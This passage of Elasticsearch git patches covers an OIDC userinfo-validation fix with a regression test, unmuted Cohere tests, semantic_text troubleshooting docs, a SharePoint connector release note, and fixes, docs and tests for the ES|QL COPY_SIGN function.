--- a/x-pack/plugin/watcher/src/test/java/org/elasticsearch/xpack/watcher/notification/email/attachment/ReportingAttachmentParserTests.java
+++ b/x-pack/plugin/watcher/src/test/java/org/elasticsearch/xpack/watcher/notification/email/attachment/ReportingAttachmentParserTests.java
@@ -239,7 +239,7 @@ public void testInitialRequestContainsInvalidPayload() throws Exception {
             XContentParseException.class,
             () -> reportingAttachmentParser.toAttachment(createWatchExecutionContext(), Payload.EMPTY, attachment)
         );
-        assertThat(e.getMessage(), containsString("Unexpected end-of-input"));
+        assertThat(e.getMessage(), containsString("Unexpected end of file"));
     }
 
     public void testInitialRequestContainsPathAsObject() throws Exception {

From cc27d5451bbc532a69c81834dcb0fcd2405bc31f Mon Sep 17 00:00:00 2001
From: Nikolaj Volgushev <n1v0lg@users.noreply.github.com>
Date: Wed, 6 Aug 2025 10:48:17 +0200
Subject: [PATCH 295/299] Short circuit failure handling in OIDC flow (#130618)
 (#132401)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

We should return after the `onFailure` call during the claims check.

Co-authored-by: Slobodan Adamović <slobodanadamovic@users.noreply.github.com>
---
 .../oidc/OpenIdConnectAuthenticator.java      | 36 ++++++--------
 .../oidc/OpenIdConnectAuthenticatorTests.java | 48 +++++++++++++++++++
 2 files changed, 62 insertions(+), 22 deletions(-)

diff --git a/x-pack/plugin/security/src/main/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticator.java b/x-pack/plugin/security/src/main/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticator.java
index 8d02992c2ec3a..4bf93fc10e96c 100644
--- a/x-pack/plugin/security/src/main/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticator.java
+++ b/x-pack/plugin/security/src/main/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticator.java
@@ -477,7 +477,20 @@ static void handleUserinfoResponse(
             if (httpResponse.getStatusLine().getStatusCode() == 200) {
                 if (ContentType.parse(contentHeader.getValue()).getMimeType().equals("application/json")) {
                     final JWTClaimsSet userInfoClaims = JWTClaimsSet.parse(contentAsString);
-                    validateUserInfoResponse(userInfoClaims, verifiedIdTokenClaims.getSubject(), claimsListener);
+                    String expectedSub = verifiedIdTokenClaims.getSubject();
+                    if (userInfoClaims.getSubject() == null || userInfoClaims.getSubject().isEmpty()) {
+                        claimsListener.onFailure(new ElasticsearchSecurityException("Userinfo Response did not contain a sub Claim"));
+                        return;
+                    } else if (userInfoClaims.getSubject().equals(expectedSub) == false) {
+                        claimsListener.onFailure(
+                            new ElasticsearchSecurityException(
+                                "Userinfo Response is not valid as it is for " + "subject [{}] while the ID Token was for subject [{}]",
+                                userInfoClaims.getSubject(),
+                                expectedSub
+                            )
+                        );
+                        return;
+                    }
                     if (LOGGER.isTraceEnabled()) {
                         LOGGER.trace("Successfully retrieved user information: [{}]", userInfoClaims);
                     }
@@ -527,27 +540,6 @@ static void handleUserinfoResponse(
         }
     }
 
-    /**
-     * Validates that the userinfo response contains a sub Claim and that this claim value is the same as the one returned in the ID Token
-     */
-    private static void validateUserInfoResponse(
-        JWTClaimsSet userInfoClaims,
-        String expectedSub,
-        ActionListener<JWTClaimsSet> claimsListener
-    ) {
-        if (userInfoClaims.getSubject().isEmpty()) {
-            claimsListener.onFailure(new ElasticsearchSecurityException("Userinfo Response did not contain a sub Claim"));
-        } else if (userInfoClaims.getSubject().equals(expectedSub) == false) {
-            claimsListener.onFailure(
-                new ElasticsearchSecurityException(
-                    "Userinfo Response is not valid as it is for " + "subject [{}] while the ID Token was for subject [{}]",
-                    userInfoClaims.getSubject(),
-                    expectedSub
-                )
-            );
-        }
-    }
-
     /**
      * Attempts to make a request to the Token Endpoint of the OpenID Connect provider in order to exchange an
      * authorization code for an Id Token (and potentially an Access Token)
diff --git a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticatorTests.java b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticatorTests.java
index 76069ce500ad9..ebf98b035f7d6 100644
--- a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticatorTests.java
+++ b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/oidc/OpenIdConnectAuthenticatorTests.java
@@ -108,6 +108,7 @@
 import java.util.Map;
 import java.util.UUID;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicReference;
 
 import javax.crypto.SecretKey;
@@ -968,6 +969,53 @@ public void testHandleUserinfoResponseFailure() throws Exception {
         );
     }
 
+    public void testHandleUserinfoValidationFailsOnNotMatchingSubject() throws Exception {
+        final ProtocolVersion httpVersion = randomFrom(HttpVersion.HTTP_0_9, HttpVersion.HTTP_1_0, HttpVersion.HTTP_1_1);
+        final HttpResponse response = new BasicHttpResponse(new BasicStatusLine(httpVersion, RestStatus.OK.getStatus(), "OK"));
+
+        final String sub = randomAlphaOfLengthBetween(4, 36);
+        final String inf = randomAlphaOfLength(12);
+        final JWTClaimsSet infoClaims = new JWTClaimsSet.Builder().subject("it-is-a-different-subject").claim("inf", inf).build();
+        final StringEntity entity = new StringEntity(infoClaims.toString(), ContentType.APPLICATION_JSON);
+        if (randomBoolean()) {
+            entity.setContentEncoding(
+                randomFrom(StandardCharsets.UTF_8.name(), StandardCharsets.UTF_16.name(), StandardCharsets.US_ASCII.name())
+            );
+        }
+        response.setEntity(entity);
+
+        final String idx = randomAlphaOfLength(8);
+        final JWTClaimsSet idClaims = new JWTClaimsSet.Builder().subject(sub).claim("idx", idx).build();
+        final AtomicBoolean listenerCalled = new AtomicBoolean(false);
+        final PlainActionFuture<JWTClaimsSet> future = new PlainActionFuture<>() {
+
+            @Override
+            public void onResponse(JWTClaimsSet result) {
+                assertTrue("listener called more than once", listenerCalled.compareAndSet(false, true));
+                super.onResponse(result);
+            }
+
+            @Override
+            public void onFailure(Exception e) {
+                assertTrue("listener called more than once", listenerCalled.compareAndSet(false, true));
+                super.onFailure(e);
+            }
+        };
+
+        this.authenticator = buildAuthenticator();
+        OpenIdConnectAuthenticator.handleUserinfoResponse(response, idClaims, future);
+        var e = expectThrows(ElasticsearchSecurityException.class, future::actionGet);
+
+        assertThat(
+            e.getMessage(),
+            equalTo(
+                "Userinfo Response is not valid as it is for subject [it-is-a-different-subject] while the ID Token was for subject ["
+                    + sub
+                    + "]"
+            )
+        );
+    }
+
     public void testHandleTokenResponseNullContentType() {
         final HttpResponse response = new BasicHttpResponse(HttpVersion.HTTP_1_1, RestStatus.OK.getStatus(), "");
         final StringEntity entity = new StringEntity("", (ContentType) null);

From adad8837fcc1a8157ea697001fd805a00196ac14 Mon Sep 17 00:00:00 2001
From: David Kyle <david.kyle@elastic.co>
Date: Wed, 6 Aug 2025 10:50:10 +0100
Subject: [PATCH 296/299] [ML] Unmute Cohere Mixed cluster tests (#130611)
 (#132161)

(cherry picked from commit 829ae1333f63a8af67a4a70c9fbb6a74d377f24b)

# Conflicts:
#	muted-tests.yml
---
 muted-tests.yml | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 765f83cd9bbc2..cd5e53eff6a55 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -386,12 +386,6 @@ tests:
   method: "builds distribution from branches via archives extractedAssemble [bwcDistVersion: 8.2.1, bwcProject: bugfix, expectedAssembleTaskName:
     extractedAssemble, #2]"
   issue: https://github.com/elastic/elasticsearch/issues/119871
-- class: org.elasticsearch.xpack.inference.qa.mixed.CohereServiceMixedIT
-  method: testRerank
-  issue: https://github.com/elastic/elasticsearch/issues/130009
-- class: org.elasticsearch.xpack.inference.qa.mixed.CohereServiceMixedIT
-  method: testCohereEmbeddings
-  issue: https://github.com/elastic/elasticsearch/issues/130010
 - class: org.elasticsearch.cluster.metadata.ComposableIndexTemplateTests
   method: testMergeEmptyMappingsIntoTemplateWithNonEmptySettings
   issue: https://github.com/elastic/elasticsearch/issues/130050

From bdfd2d1ef863ec4b352292cd4526ba29f8eebd8b Mon Sep 17 00:00:00 2001
From: Kathleen DeRusso <kathleen.derusso@elastic.co>
Date: Wed, 6 Aug 2025 10:05:25 -0400
Subject: [PATCH 297/299] Add inference fields to semantic text docs (#132471)
 (#132504)

---
 .../mapping-reference/semantic-text.md        | 23 +++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/docs/reference/elasticsearch/mapping-reference/semantic-text.md b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
index 88190d096e27e..69215662557e7 100644
--- a/docs/reference/elasticsearch/mapping-reference/semantic-text.md
+++ b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
@@ -445,6 +445,29 @@ PUT test-index
 }
 ```
 
+## Troubleshooting semantic_text fields [troubleshooting-semantic-text-fields]
+
+If you want to verify that your embeddings look correct, you can view the
+inference data that `semantic_text` typically hides using `fields`.
+
+```console
+POST test-index/_search
+{
+    "query": {
+        "match": {
+            "my_semantic_field": "Which country is Paris in?"
+        },
+        "fields": [
+            "_inference_fields"
+          ]
+    }
+}
+```
+
+This will return verbose chunked embeddings content that is used to perform
+semantic search for `semantic_text` fields.
+
+
 ## Limitations [limitations]
 
 `semantic_text` field types have the following limitations:

From f41f918959a687e456ed135155911c4e2da64b75 Mon Sep 17 00:00:00 2001
From: Charlotte Hoblik <116336412+charlotte-hoblik@users.noreply.github.com>
Date: Wed, 6 Aug 2025 18:49:26 +0200
Subject: [PATCH 298/299] Add 9.1.1 Connectors release note (#132451)

---
 docs/reference/search-connectors/release-notes.md | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/docs/reference/search-connectors/release-notes.md b/docs/reference/search-connectors/release-notes.md
index 948fe3c101e99..a880d7973eb8e 100644
--- a/docs/reference/search-connectors/release-notes.md
+++ b/docs/reference/search-connectors/release-notes.md
@@ -13,6 +13,16 @@ If you are an Enterprise Search user and want to upgrade to Elastic 9.0, refer t
 It includes detailed steps, tooling, and resources to help you transition to supported alternatives in 9.x, such as Elasticsearch, the Open Web Crawler, and self-managed connectors.
 :::
 
+## 9.1.1 [connectors-9.1.1-release-notes]
+
+### Fixes [connectors-9.1.1-fixes]
+
+:::{dropdown} Resolves missing access control for “Everyone Except External Users” in SharePoint connector
+
+Permissions granted to the `Everyone Except External Users` group were previously ignored, causing incomplete access control metadata in documents. This occurred because the connector did not recognize the group’s login name format.
+[#3577](https://github.com/elastic/connectors/pull/3577) resolves this issue by recognizing the group’s login format and correctly applying its permissions to document access control metadata.
+:::
+
 ## 9.1.0 [connectors-9.1.0-release-notes]
 There are no new features, enhancements, fixes, known issues, or deprecations associated with this release.
 

From 9b49b5797a637977b3bec8fbcd1e639ad1daf480 Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Wed, 6 Aug 2025 16:50:50 -0400
Subject: [PATCH 299/299] ESQL: Small fixes for COPY_SIGN (#132459) (#132514)

Adds some small fixes to `COPY_SIGN` and some docs and tests. The fixes
are mostly supporting the literal `NULL` in parameters. `COPY_SIGN`
supports `float` arguments, but the tests don't cover it because we
don't build `float` blocks. Otherwise, the tests are fairly standard.
---
 docs/changelog/132459.yaml                    |   5 +
 .../functions/description/copy_sign.md        |   6 +
 .../_snippets/functions/layout/copy_sign.md   |  20 ++
 .../functions/parameters/copy_sign.md         |  10 +
 .../_snippets/functions/types/copy_sign.md    |  16 ++
 .../esql/_snippets/lists/math-functions.md    |   1 +
 .../functions-operators/math-functions.md     |   3 +
 .../esql/images/functions/copy_sign.svg       |   1 +
 .../definition/functions/copy_sign.json       | 172 ++++++++++++++++++
 .../esql/kibana/docs/functions/copy_sign.md   |   6 +
 .../function/scalar/math/CopySign.java        |  36 ++--
 .../expression/function/TestCaseSupplier.java |  21 +++
 .../scalar/math/CopySignErrorTests.java       |  37 ++++
 .../function/scalar/math/CopySignTests.java   | 106 +++++++++++
 14 files changed, 429 insertions(+), 11 deletions(-)
 create mode 100644 docs/changelog/132459.yaml
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/description/copy_sign.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/layout/copy_sign.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/parameters/copy_sign.md
 create mode 100644 docs/reference/query-languages/esql/_snippets/functions/types/copy_sign.md
 create mode 100644 docs/reference/query-languages/esql/images/functions/copy_sign.svg
 create mode 100644 docs/reference/query-languages/esql/kibana/definition/functions/copy_sign.json
 create mode 100644 docs/reference/query-languages/esql/kibana/docs/functions/copy_sign.md
 create mode 100644 x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignErrorTests.java
 create mode 100644 x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignTests.java

diff --git a/docs/changelog/132459.yaml b/docs/changelog/132459.yaml
new file mode 100644
index 0000000000000..0364a4d98c1ae
--- /dev/null
+++ b/docs/changelog/132459.yaml
@@ -0,0 +1,5 @@
+pr: 132459
+summary: Small fixes for COPY_SIGN
+area: ES|QL
+type: bug
+issues: []
diff --git a/docs/reference/query-languages/esql/_snippets/functions/description/copy_sign.md b/docs/reference/query-languages/esql/_snippets/functions/description/copy_sign.md
new file mode 100644
index 0000000000000..54ab4a25f48c8
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/description/copy_sign.md
@@ -0,0 +1,6 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Description**
+
+Returns a value with the magnitude of the first argument and the sign of the second argument. This function is similar to Java's Math.copySign(double magnitude, double sign) which is similar to `copysign` from [IEEE 754](https://en.wikipedia.org/wiki/IEEE_754).
+
diff --git a/docs/reference/query-languages/esql/_snippets/functions/layout/copy_sign.md b/docs/reference/query-languages/esql/_snippets/functions/layout/copy_sign.md
new file mode 100644
index 0000000000000..7c423b66344fd
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/layout/copy_sign.md
@@ -0,0 +1,20 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+## `COPY_SIGN` [esql-copy_sign]
+
+**Syntax**
+
+:::{image} ../../../images/functions/copy_sign.svg
+:alt: Embedded
+:class: text-center
+:::
+
+
+:::{include} ../parameters/copy_sign.md
+:::
+
+:::{include} ../description/copy_sign.md
+:::
+
+:::{include} ../types/copy_sign.md
+:::
diff --git a/docs/reference/query-languages/esql/_snippets/functions/parameters/copy_sign.md b/docs/reference/query-languages/esql/_snippets/functions/parameters/copy_sign.md
new file mode 100644
index 0000000000000..78de6d0388741
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/parameters/copy_sign.md
@@ -0,0 +1,10 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Parameters**
+
+`magnitude`
+:   The expression providing the magnitude of the result. Must be a numeric type.
+
+`sign`
+:   The expression providing the sign of the result. Must be a numeric type.
+
diff --git a/docs/reference/query-languages/esql/_snippets/functions/types/copy_sign.md b/docs/reference/query-languages/esql/_snippets/functions/types/copy_sign.md
new file mode 100644
index 0000000000000..a0cbc6eed3f8e
--- /dev/null
+++ b/docs/reference/query-languages/esql/_snippets/functions/types/copy_sign.md
@@ -0,0 +1,16 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+**Supported types**
+
+| magnitude | sign | result |
+| --- | --- | --- |
+| double | double | double |
+| double | integer | double |
+| double | long | double |
+| integer | double | integer |
+| integer | integer | integer |
+| integer | long | integer |
+| long | double | long |
+| long | integer | long |
+| long | long | long |
+
diff --git a/docs/reference/query-languages/esql/_snippets/lists/math-functions.md b/docs/reference/query-languages/esql/_snippets/lists/math-functions.md
index 54c1a4dd9635a..5ef3b6c499a1b 100644
--- a/docs/reference/query-languages/esql/_snippets/lists/math-functions.md
+++ b/docs/reference/query-languages/esql/_snippets/lists/math-functions.md
@@ -5,6 +5,7 @@
 * [`ATAN2`](../../functions-operators/math-functions.md#esql-atan2)
 * [`CBRT`](../../functions-operators/math-functions.md#esql-cbrt)
 * [`CEIL`](../../functions-operators/math-functions.md#esql-ceil)
+* [`COPY_SIGN`](../../functions-operators/math-functions.md#esql-copy_sign)
 * [`COS`](../../functions-operators/math-functions.md#esql-cos)
 * [`COSH`](../../functions-operators/math-functions.md#esql-cosh)
 * [`E`](../../functions-operators/math-functions.md#esql-e)
diff --git a/docs/reference/query-languages/esql/functions-operators/math-functions.md b/docs/reference/query-languages/esql/functions-operators/math-functions.md
index 2a4cb855717d7..99c7c7394191a 100644
--- a/docs/reference/query-languages/esql/functions-operators/math-functions.md
+++ b/docs/reference/query-languages/esql/functions-operators/math-functions.md
@@ -33,6 +33,9 @@ mapped_pages:
 :::{include} ../_snippets/functions/layout/ceil.md
 :::
 
+:::{include} ../_snippets/functions/layout/copy_sign.md
+:::
+
 :::{include} ../_snippets/functions/layout/cos.md
 :::
 
diff --git a/docs/reference/query-languages/esql/images/functions/copy_sign.svg b/docs/reference/query-languages/esql/images/functions/copy_sign.svg
new file mode 100644
index 0000000000000..82455b59b1eda
--- /dev/null
+++ b/docs/reference/query-languages/esql/images/functions/copy_sign.svg
@@ -0,0 +1 @@
+<svg version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg" width="480" height="46" viewbox="0 0 480 46"><defs><style type="text/css">.c{fill:none;stroke:#222222;}.k{fill:#000000;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-size:20px;}.s{fill:#e4f4ff;stroke:#222222;}.syn{fill:#8D8D8D;font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;font-size:20px;}</style></defs><path class="c" d="M0 31h5m128 0h10m32 0h10m128 0h10m32 0h10m68 0h10m32 0h5"/><rect class="s" x="5" y="5" width="128" height="36"/><text class="k" x="15" y="31">COPY_SIGN</text><rect class="s" x="143" y="5" width="32" height="36" rx="7"/><text class="syn" x="153" y="31">(</text><rect class="s" x="185" y="5" width="128" height="36" rx="7"/><text class="k" x="195" y="31">magnitude</text><rect class="s" x="323" y="5" width="32" height="36" rx="7"/><text class="syn" x="333" y="31">,</text><rect class="s" x="365" y="5" width="68" height="36" rx="7"/><text class="k" x="375" y="31">sign</text><rect class="s" x="443" y="5" width="32" height="36" rx="7"/><text class="syn" x="453" y="31">)</text></svg>
\ No newline at end of file
diff --git a/docs/reference/query-languages/esql/kibana/definition/functions/copy_sign.json b/docs/reference/query-languages/esql/kibana/definition/functions/copy_sign.json
new file mode 100644
index 0000000000000..51d3edca937f8
--- /dev/null
+++ b/docs/reference/query-languages/esql/kibana/definition/functions/copy_sign.json
@@ -0,0 +1,172 @@
+{
+  "comment" : "This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.",
+  "type" : "scalar",
+  "name" : "copy_sign",
+  "description" : "Returns a value with the magnitude of the first argument and the sign of the second argument.\nThis function is similar to Java's Math.copySign(double magnitude, double sign) which is\nsimilar to `copysign` from IEEE 754.",
+  "signatures" : [
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "double",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "double",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "double"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "double",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "integer",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "double"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "double",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "long",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "double"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "integer",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "double",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "integer"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "integer",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "integer",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "integer"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "integer",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "long",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "integer"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "long",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "double",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "long"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "long",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "integer",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "long"
+    },
+    {
+      "params" : [
+        {
+          "name" : "magnitude",
+          "type" : "long",
+          "optional" : false,
+          "description" : "The expression providing the magnitude of the result. Must be a numeric type."
+        },
+        {
+          "name" : "sign",
+          "type" : "long",
+          "optional" : false,
+          "description" : "The expression providing the sign of the result. Must be a numeric type."
+        }
+      ],
+      "variadic" : false,
+      "returnType" : "long"
+    }
+  ],
+  "preview" : false,
+  "snapshot_only" : false
+}
diff --git a/docs/reference/query-languages/esql/kibana/docs/functions/copy_sign.md b/docs/reference/query-languages/esql/kibana/docs/functions/copy_sign.md
new file mode 100644
index 0000000000000..e2bd39f147fbd
--- /dev/null
+++ b/docs/reference/query-languages/esql/kibana/docs/functions/copy_sign.md
@@ -0,0 +1,6 @@
+% This is generated by ESQL's AbstractFunctionTestCase. Do not edit it. See ../README.md for how to regenerate it.
+
+### COPY SIGN
+Returns a value with the magnitude of the first argument and the sign of the second argument.
+This function is similar to Java's Math.copySign(double magnitude, double sign) which is
+similar to `copysign` from [IEEE 754](https://en.wikipedia.org/wiki/IEEE_754).
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySign.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySign.java
index 884c67c38a3f9..83eb43627aa99 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySign.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySign.java
@@ -15,6 +15,7 @@
 import org.elasticsearch.xpack.esql.EsqlIllegalArgumentException;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.Expressions;
+import org.elasticsearch.xpack.esql.core.expression.TypeResolutions;
 import org.elasticsearch.xpack.esql.core.tree.NodeInfo;
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
@@ -60,21 +61,20 @@ EvalOperator.ExpressionEvaluator.Factory create(
 
     private DataType dataType;
 
-    @FunctionInfo(
-        description = "Returns a value with the magnitude of the first argument and the sign of the second argument. "
-            + "This function is similar to Java's Math.copySign(double magnitude, double sign).",
-        returnType = { "double", "float" }
-    )
+    @FunctionInfo(description = """
+        Returns a value with the magnitude of the first argument and the sign of the second argument.
+        This function is similar to Java's Math.copySign(double magnitude, double sign) which is
+        similar to `copysign` from [IEEE 754](https://en.wikipedia.org/wiki/IEEE_754).""", returnType = { "double", "integer", "long" })
     public CopySign(
         Source source,
         @Param(
             name = "magnitude",
-            type = { "double", "float", "integer", "long" },
+            type = { "double", "integer", "long" },
             description = "The expression providing the magnitude of the result. Must be a numeric type."
         ) Expression magnitude,
         @Param(
             name = "sign",
-            type = { "double", "float", "integer", "long" },
+            type = { "double", "integer", "long" },
             description = "The expression providing the sign of the result. Must be a numeric type."
         ) Expression sign
     ) {
@@ -125,11 +125,25 @@ public TypeResolution resolveType() {
         }
         var magnitude = children().get(0);
         var sign = children().get(1);
-        if (magnitude.dataType().isNumeric() == false) {
-            return new TypeResolution("Magnitude must be a numeric type");
+        TypeResolution resolution = TypeResolutions.isType(
+            magnitude,
+            t -> t.isNumeric() && t != DataType.UNSIGNED_LONG,
+            sourceText(),
+            TypeResolutions.ParamOrdinal.FIRST,
+            "numeric"
+        );
+        if (resolution.unresolved()) {
+            return resolution;
         }
-        if (sign.dataType().isNumeric() == false) {
-            return new TypeResolution("Sign must be a numeric type");
+        resolution = TypeResolutions.isType(
+            sign,
+            t -> t.isNumeric() && t != DataType.UNSIGNED_LONG,
+            sourceText(),
+            TypeResolutions.ParamOrdinal.SECOND,
+            "numeric"
+        );
+        if (resolution.unresolved()) {
+            return resolution;
         }
         // The return type is the same as the magnitude type, so we can use it directly.
         dataType = magnitude.dataType();
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/TestCaseSupplier.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/TestCaseSupplier.java
index 584f5f013563e..b2311044967bf 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/TestCaseSupplier.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/TestCaseSupplier.java
@@ -47,6 +47,7 @@
 import java.util.function.UnaryOperator;
 import java.util.stream.Collectors;
 
+import static org.elasticsearch.xpack.esql.core.util.NumericUtils.UNSIGNED_LONG_MAX;
 import static org.elasticsearch.xpack.esql.core.util.SpatialCoordinateTypes.CARTESIAN;
 import static org.elasticsearch.xpack.esql.core.util.SpatialCoordinateTypes.GEO;
 import static org.hamcrest.Matchers.equalTo;
@@ -357,6 +358,26 @@ public static List<TypedDataSupplier> getSuppliersForNumericType(DataType type,
         throw new IllegalArgumentException("bogus numeric type [" + type + "]");
     }
 
+    /**
+     * A {@link List} of the cases for the specified type without any limits.
+     * See {@link #getSuppliersForNumericType} for cases with limits on numbers.
+     */
+    public static List<TypedDataSupplier> unlimitedSuppliers(DataType type) {
+        if (type == DataType.INTEGER) {
+            return intCases(Integer.MIN_VALUE, Integer.MAX_VALUE, true);
+        }
+        if (type == DataType.LONG) {
+            return longCases(Long.MIN_VALUE, Long.MAX_VALUE, true);
+        }
+        if (type == DataType.UNSIGNED_LONG) {
+            return ulongCases(BigInteger.ZERO, UNSIGNED_LONG_MAX, true);
+        }
+        if (type == DataType.DOUBLE) {
+            return doubleCases(-Double.MAX_VALUE, Double.MAX_VALUE, true);
+        }
+        throw new IllegalArgumentException("bogus numeric type [" + type + "]");
+    }
+
     public static List<TestCaseSupplier> forBinaryComparisonWithWidening(
         NumericTypeTestConfigs<Boolean> typeStuff,
         String lhsName,
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignErrorTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignErrorTests.java
new file mode 100644
index 0000000000000..d0792951f98e2
--- /dev/null
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/CopySignErrorTests.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.expression.function.scalar.math;
+
+import org.elasticsearch.xpack.esql.core.expression.Expression;
+import org.elasticsearch.xpack.esql.core.tree.Source;
+import org.elasticsearch.xpack.esql.core.type.DataType;
+import org.elasticsearch.xpack.esql.expression.function.ErrorsForCasesWithoutExamplesTestCase;
+import org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier;
+import org.hamcrest.Matcher;
+
+import java.util.List;
+import java.util.Set;
+
+import static org.hamcrest.Matchers.equalTo;
+
+public class CopySignErrorTests extends ErrorsForCasesWithoutExamplesTestCase {
+    @Override
+    protected List<TestCaseSupplier> cases() {
+        return paramsToSuppliers(CopySignTests.parameters());
+    }
+
+    @Override
+    protected Expression build(Source source, List<Expression> args) {
+        return new CopySign(source, args.get(0), args.get(1));
+    }
+
+    @Override
